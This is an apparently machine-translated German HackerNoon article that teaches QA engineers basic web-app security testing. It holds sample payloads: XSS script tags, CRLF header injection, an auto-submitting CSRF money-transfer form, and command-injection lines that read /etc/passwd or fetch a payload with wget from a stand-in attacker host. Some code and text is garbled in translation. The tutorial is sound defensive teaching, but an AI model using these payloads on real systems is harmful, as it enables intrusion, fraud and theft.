Dieser Artikel untersucht grundlegende Schwachstellen und Testtechniken und bietet praktische Einblicke, um Ihre Fähigkeiten im Pentesting von Web-Apps zu verbessern. Der Artikel kombiniert eine Reihe meiner Beiträge, die sich an QA-Ingenieure und -Analysten richten, und bietet eine praktische Untersuchung grundlegender Schwachstellen im Bereich der Cybersicherheit. Der Zweck besteht darin, QA-Ingenieuren/Testern/Analysten Wissen zu vermitteln, das die Lücke zwischen Software-QA und   schließt und einen einheitlichen Ansatz zur Gewährleistung der Integrität und Sicherheit von Webanwendungen fördert. Cybersicherheit  Dies ist kein ultimativer Leitfaden, aber ich möchte meine Erfahrungen als QA-Ingenieur teilen, der sich für den Bereich Cybersicherheit interessiert; Es werden recht oberflächliche Informationen mit einigen nützlichen Links sein, falls Sie daran interessiert sind, einige Aspekte tiefer zu erfahren.  1. XSS (Cross-Site-Scripting)  Eine der kritischsten und häufigsten Schwachstellen ist XSS –  https://owasp.org/www-community/attacks/xss/  Ich werde einen einfachen Ansatz und Tipps zum Testen auf XSS weitergeben, ohne über umfassende Kenntnisse auf diesem Gebiet und in den Frontend-Entwicklungstechnologien zu verfügen.  Geben Sie beispielsweise ein Skript-Tag gefolgt von etwas JS-Code in die Eingabefelder Ihrer App ein.   <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))  Senden Sie die Eingabe und prüfen Sie, ob das Skript ausgeführt wird.  Wenn dies der Fall ist, ist die Anwendung anfällig für XSS-Angriffe.  Wenn das Skript nicht ausgeführt wird, versuchen Sie, die Eingabe zu ändern, indem Sie andere HTML-Tags wie   oder   und prüfen Sie, ob diese z. B. auf der Seite angezeigt werden (dieses Beispiel funktioniert bei mir fast immer). <img> <iframe> hinzufügen,   <b>t</b>#`"/*—est  Sie können ein Skript hinzufügen, um Parameter Ihrer Web-App-URL oder einen Benutzernamen, hochgeladene Dateinamen (   ) oder jeden beliebigen Text abzufragen, der auf der App-Seite angezeigt wird und den Sie ändern können . https://github.com/cure53/H5SC  Beachten Sie die Front-End-Validierung von Eingaben. Versuchen Sie immer, den Wert über eine direkte Anfrage zu übermitteln (mit Postman, Burp oder ähnlichen Tools).  Verwenden Sie Fuzzing und eine Liste von Nutzlasten – automatisieren Sie diesen Ansatz nach Möglichkeit oder verwenden Sie spezielle Tools dafür.  Apropos Tools: Es gibt viele davon, um XSS zu entdecken, verschiedene auszuprobieren, die Ergebnisse mehrmals mit verschiedenen Apps zu vergleichen und das auszuwählen, das Ihnen am besten gefällt:   (ich habe es oft verwendet OWASP ZAP und BurpSuite). https://linuxhint.com/free_xss_tools/  Persönlich verwende ich gerne Payloads und Informationen von hier –   – meiner Meinung nach eine sehr nützliche Ressource. https://github.com/s0md3v/AwesomeXSS  Weitere Informationen zu XSS und Payloads finden Sie in den folgenden Ressourcen:   https://owasp.org/www-community/attacks/xss/   https://portswigger.net/web-security/cross-site-scripting/cheat-sheet   https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45  2. Header-Injektionen  Diese Sicherheitslücke tritt auf, wenn ein Angreifer bösartigen Code in den Header einer Website einschleusen kann, wodurch er nicht autorisierte Aktionen ausführen oder auf vertrauliche Informationen zugreifen kann.  Um Header-Injektionen zu testen, können Sie einige Schritte ausführen:  Verwenden Sie Tools wie Postman, Burp oder ähnliche Tools, um HTTP-Header zu manipulieren und zu prüfen, ob Sie nicht autorisierte Header hinzufügen oder vorhandene ändern können.  Überprüfen Sie, ob der Server vertrauliche Informationen in den Antwortheadern sendet.  Versuchen Sie, Cookies zu manipulieren, indem Sie schädliche Inhalte hinzufügen oder ihre Werte ändern. Ein Beispiel für eine Nutzlast zum Testen auf Header-Injektionen besteht darin, ein Zeilenumbruchzeichen in das Header-Feld einzufügen, gefolgt von zusätzlichen Headern.   (%0d%0a OR \r\n)  Beispielsweise könnte die folgende Nutzlast verwendet werden, um einen Set-Cookie-Header einzufügen:   User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked  Ein weiteres Beispiel ist die Host-Header-Injection, bei der ein Angreifer den Host-Header manipulieren kann, um auf eine andere Website oder Subdomain auf demselben Server zuzugreifen. Zum Beispiel:   Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com  Weitere Informationen zu Header-Injektionen finden Sie in den folgenden Ressourcen:   https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection   https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning   https://www.acunetix.com/blog/web-security-zone/http-header-injection/   https://portswigger.net/web-security/host-header/exploiting  3. CSRF (Cross-Site Request Forgery)  CSRF tritt auf, wenn eine bösartige Website einen Benutzer dazu verleitet, auf einer anderen Website zu agieren, bei der der Benutzer gerade angemeldet ist. Diese Art von Angriff kann dazu führen, dass im Namen des Benutzers nicht autorisierte Aktionen (jede POST-Anfrage) ausgeführt werden.  Um auf CSRF-Schwachstellen zu testen, können Sie kurz gesagt Folgendes tun:  Suchen Sie auf der Website nach Formularen oder Aktionen, die vertrauliche Aktionen ausführen, z. B. das Ändern von Passwörtern oder das Durchführen von Transaktionen (oder andere Post-Anfragen, die für Benutzer schädlich sein könnten, wenn sie im Namen des Benutzers ohne deren Wissen ausgeführt werden).  Erstellen Sie eine HTML-Seite oder ein Code-Snippet, das ein verstecktes Formular enthält, das dieselbe Aktion ausführt, zum Beispiel:   <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>  Speichern Sie diesen Code als HTML-Datei und öffnen Sie ihn in demselben Browser, in dem Sie sich auf der von Ihnen getesteten Website angemeldet haben.  Überprüfen Sie, ob die Aktion ohne Wissen oder Erlaubnis des Benutzers ausgeführt wurde. Im Beispiel aus 2 wird der Benutzer dazu verleitet, eine Website zu besuchen, die automatisch ein verstecktes Formular absendet, um 1000 auf das Konto des Angreifers auf der Zielwebsite zu überweisen.  Um CSRF-Angriffe zu verhindern, verwenden Sie Anti-CSRF-Token oder Cookies auf derselben Website, um den Ursprung der Anfrage zu validieren. Bei diesen Token handelt es sich um eindeutige Werte, die vom Server generiert und in die Formular- oder URL-Parameter aufgenommen werden. Beim Absenden des Formulars prüft der Server, ob das Token mit dem erwarteten Wert übereinstimmt, und lehnt die Anfrage ab, wenn sie nicht übereinstimmen. Hier ist ein Beispiel in Python:   import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response  Nützliche Ressourcen:   https://owasp.org/www-community/attacks/csrf   https://portswigger.net/web-security/csrf   https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html  4. RCE (Remote Code Execution) und Command Injection  RCE- und Command-Injection-Schwachstellen treten auf, wenn Angreifer beliebigen Code oder Betriebssystembefehle auf einem Zielsystem ausführen können. Solche Angriffe können zur vollständigen Kompromittierung des Systems und zum unbefugten Zugriff auf sensible Daten führen.  Um auf RCE- und Command-Injection-Schwachstellen zu testen, können Sie kurz gesagt Folgendes tun:  Identifizieren Sie Eingabefelder oder Parameter, die manipuliert werden können. Diese Eingabefelder oder Parameter finden sich an vielen verschiedenen Stellen, beispielsweise in Formularen, URL-Parametern, Cookies, HTTP-Headern usw. Um solche Parameter zu identifizieren, können Sie ein Tool wie Burp Suite verwenden, mit dem Sie Daten abfangen und abfangen können Ändern Sie HTTP-Anfragen und -Antworten (in einer kostenlosen Version). Burp erfasst und zeigt alle Anfragen und Antworten an, einschließlich der Eingabefelder und Parameter. Sobald Sie Ihre Parameter haben, müssen Sie prüfen, ob sie zum Ausführen von eingefügtem Code oder Betriebssystembefehlen verwendet werden können.  Fügen Sie bösartige Payloads in diese Felder oder Parameter ein. Hier sind einige mögliche und einfache Beispiele:   ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3  Überprüfen Sie das Verhalten der Anwendung, um festzustellen, ob die Nutzlast erfolgreich ausgeführt wurde und ob vertrauliche Informationen an Sie gesendet wurden. Wenn Sie beispielsweise   verwendet haben und die Anwendung eine Liste von Dateien und Verzeichnissen auf dem Server anzeigt, weist dies darauf hin, dass die Nutzlast erfolgreich ausgeführt wurde und die Anwendung anfällig für Befehlsinjektion ist. ls -la  Nicht alle Nutzlasten führen zu einer sichtbaren Ausgabe. In solchen Fällen müssen Sie möglicherweise andere Methoden verwenden, z. B. die Überwachung des Netzwerkverkehrs oder die Überprüfung von Protokolldateien.  Um RCE- und Command-Injection-Angriffe zu verhindern, müssen Benutzereingaben validiert und bösartige Zeichen oder Befehle entfernt oder bereinigt werden.  Hier sind einige nützliche Ressourcen zum weiteren Lernen:   https://owasp.org/www-community/attacks/Command_Injection   https://owasp.org/www-community/attacks/Code_Injection   https://portswigger.net/web-security  5. Manipulation von Web-Parametern  Diese Art von Angriff tritt auf, wenn Sie die von der Clientseite an die Serverseite gesendeten Parameter manipulieren, was beispielsweise zu unbefugtem Zugriff oder einer Rechteausweitung führt.  Um diese Art von Schwachstelle zu testen, können Sie Folgendes tun:  Identifizieren Sie Eingabefelder oder Parameter, die manipuliert werden können. Ähnlich wie bei anderen Schwachstellen können Sie ein Tool wie Burp Suite verwenden, um HTTP-Anfragen und -Antworten abzufangen und zu ändern.  Ändern Sie die Parameter. Wenn beispielsweise ein Parameter den Preis eines Produkts steuert, können Sie ihn ändern, um Artikel zu einem niedrigeren Preis zu kaufen: - Ändern Sie den Preis eines Produkts von 10 auf 1. - Umgehen Sie die Authentifizierung, indem Sie den Benutzer-ID-Parameter bearbeiten. - Ändern Sie die Ändern Sie die Menge eines Produkts auf eine negative Zahl, um eine Rückerstattung zu erhalten, oder auf eine höhere Zahl, um mehr Artikel zum Preis von 1 Artikel zu erhalten.  Überprüfen Sie das Verhalten der Anwendung, um festzustellen, ob die Manipulation erfolgreich war. Wenn Sie beispielsweise den Preis erfolgreich geändert haben, sollte die Anwendung diese Änderung widerspiegeln, wenn Sie den Warenkorb oder die Quittung überprüfen.  Und natürlich melden Sie Ihre Ergebnisse den Entwicklern, damit diese das Problem beheben können, bevor es zu einem Sicherheitsrisiko wird.  Um Web-Parameter-Manipulationsangriffe zu verhindern, sind Eingabevalidierung und -bereinigung von entscheidender Bedeutung. Stellen Sie sicher, dass alle Eingabedaten auf der Serverseite validiert werden und dass die Anwendung alle böswilligen Eingaben zurückweist. Ich würde sagen, dass diese Art von Schwachstellen am besten von einem QA-Team identifiziert werden können, da QAs die Anwendung/das Produkt sowie deren Logik und Parameter besser kennen als Infosec-Ingenieure, die normalerweise nicht am Entwicklungsprozess beteiligt sind.  Hier sind einige zusätzliche Ressourcen, die Ihnen helfen, mehr über die Manipulation von Web-Parametern zu erfahren:   https://owasp.org/www-community/attacks/Web_Parameter_Tampering   https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/   https://www.imperva.com/learn/application-security/parameter-tampering/  6. Cross-Origin Resource Sharing (CORS)  Hierbei handelt es sich um einen Sicherheitsmechanismus, der verhindert, dass Webseiten Anfragen an eine andere Domäne stellen als die, die die Webseite bereitgestellt hat.  Sie können dies testen, indem Sie Folgendes tun:  Öffnen Sie im Browser eine beliebige Domain (z. B. google.com), von der aus der Zugriff auf Ihren Host verboten sein soll.  Verwenden Sie in der Browserkonsole diesen Befehl:   fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })  Wenn alles richtig konfiguriert ist, sollten Sie Folgendes erhalten:   access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.  Führen Sie diese einfachen Schritte aus:  Suchen Sie die an der Anfrage beteiligten Ursprungs- und Zieldomänen. Die Ursprungsdomäne ist die Domäne der Webseite, die die Anfrage stellt, und die Zieldomäne ist die Domäne, an die die Anfrage gesendet wird.  Senden Sie mit einem Tool wie Postman eine Anfrage von der Ursprungsdomäne an die Zieldomäne. Stellen Sie sicher, dass Sie die entsprechenden Header angeben, um anzuzeigen, dass es sich bei der Anfrage um eine Cross-Origin-Anfrage handelt.  Der Server sollte den Header „Access-Control-Allow-Origin“ in die Antwort aufnehmen, um anzuzeigen, dass die Anforderung von der Ursprungsdomäne zulässig ist. Wenn dieser Header fehlt oder auf einen anderen Wert gesetzt ist, kann dies auf eine Sicherheitslücke in der Anwendung hinweisen.  Wenn der Header „Access-Control-Allow-Origin“ fehlt oder auf einen Wert gesetzt ist, versuchen Sie, die Einschränkungen zu umgehen, indem Sie die Anfrage ändern. Sie können beispielsweise versuchen, den Origin-Header so zu ändern, dass er mit der Zieldomäne übereinstimmt, oder eine andere HTTP-Methode zu verwenden. Hier sind einige Beispielanfragen zum Testen:   Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With  Antwort:   HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With  Für weitere Informationen zu CORS finden Sie hier einige hilfreiche Ressourcen:   https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS   https://portswigger.net/web-security/cors  7. Content Security Policy (CSP)-Header nicht festgelegt  CSP ist ein Mechanismus, der hilft, XSS-Angriffe zu verhindern, indem er es ermöglicht, anzugeben, welche Inhaltsquellen auf die Webseiten geladen werden dürfen. Ohne einen CSP-Headersatz besteht möglicherweise die Möglichkeit, bösartige Skripte in die Seite einzuschleusen und vertrauliche Benutzerdaten zu stehlen oder andere Aktionen auszuführen.  Sie können den CSP-Header wie folgt überprüfen:  Öffnen Sie die Webseite, die Sie testen möchten, in einem Browser.  Öffnen Sie die Entwicklungstools in Ihrem Browser und gehen Sie zur Konsole.  Geben Sie den folgenden Code ein:   document.cookie=TESTCOOKIE=XSS;  Wenn es erfolgreich ausgeführt wird, gibt es keine Fehlermeldungen. Dies weist darauf hin, dass die Seite potenziell anfällig für XSS ist, da es das Setzen von Cookies von einer externen Quelle ermöglicht.  Versuchen Sie, ein Skript in die Seite einzufügen und prüfen Sie, ob es ausgeführt wird. Fügen Sie beispielsweise den folgenden Code in die Browserkonsole ein:   var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);  Suchen Sie in den Antwortheadern nach dem Content-Security-Policy-Header. Wenn dieser Header fehlt, bedeutet dies, dass für die Webseite kein CSP-Header festgelegt ist.  Der CSP-Header ist eine wichtige Sache für die Sicherheit von Web-Apps.  Weitere Informationen zu CSP:   https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html   https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP  Die symbiotische Beziehung zwischen Cybersicherheit und Software-Qualitätssicherung ist wichtig für die Sicherheit von Software-Apps. Durch die Integration von Bedrohungsmodellierungsmethoden und automatisierten Fuzz-Testtechniken tragen QA-Ingenieure erheblich zur Früherkennung und Behebung von Sicherheitslücken bei. Die Zusammenarbeit zwischen Cybersicherheits- und QA-Teams ist ein integraler Bestandteil eines einheitlichen Ansatzes für die Softwareentwicklung, wobei die Rolle der Qualitätssicherung über Funktions- und Benutzerfreundlichkeitstests hinausgeht und die proaktive Identifizierung und Behebung potenzieller Sicherheitslücken umfasst. Es ist wichtig, die Qualitätssicherung als strategisches Gut bei Cybersicherheitsbemühungen anzuerkennen, da sie nicht nur den Datenschutz verbessert, sondern auch den Ruf eines Unternehmens, das Kundenvertrauen und die allgemeine finanzielle Stabilität schützt. Die technischen Fähigkeiten der QA-Experten gepaart mit ihren strengen Testpraktiken bilden einen robusten Schutz gegen Cyber-Bedrohungen.   Eine wichtige Erinnerung:  Führen Sie Penetrationstests immer mit ausdrücklicher Genehmigung und in einer kontrollierten Umgebung durch. Dieser ethische Ansatz stellt sicher, dass Sicherheitsbewertungen mit verantwortungsvollen Testprotokollen übereinstimmen, unbeabsichtigte Gefährdungen von Systemen verhindern und die Integrität sowohl des Testprozesses als auch der übergreifenden Cybersicherheitsstrategie wahren.  Dieser Artikel enthält praktische Tipps für QA-Ingenieure zur Verbesserung der Sicherheitstests von Web-Apps und zur Verknüpfung von Software-QA und Cybersicherheit. Es ist ein einsteigerfreundlicher Leitfaden mit Einblicken und nützlichen Links für diejenigen, die mehr erfahren möchten.   Auch   veröffentlicht. hier

This story contains new, firsthand information uncovered by the writer.

About Me

Read My Articles

Hire Me

Dieses Audio ist in der Originalsprache der Geschichte produziert!

Zu lang; Lesen

CTA: Download the FREE AI Productivity Shift report

Cybersecurity Essentials: Praktische Tipps zum Testen der Web-App-Sicherheit für QA-Ingenieure

About Author

KOMMENTARE

Hängeetiketten

DIESER ARTIKEL WURDE VORGESTELLT IN

Related Stories

HackerNoon's DeFi Writing Contest with SORA Network: XSTUSD Use Cases

HackerNoon Decoded 2024: Celebrating Our Tech Stories Community!

Genuine Content Creation in the Age of AI: Why Startups Need Quality Content

HackerNoon Decoded: The Top 10 Countries Where HackerNoon Is the Most Active

HackerNoon's DeFi Writing Contest with SORA Network: XSTUSD Use Cases

HackerNoon Decoded 2024: Celebrating Our Tech Stories Community!

Genuine Content Creation in the Age of AI: Why Startups Need Quality Content

HackerNoon Decoded: The Top 10 Countries Where HackerNoon Is the Most Active

Light-Mode

Classic

Newspaper

Dark-Mode

Neon Noir

Minty

HN StartUps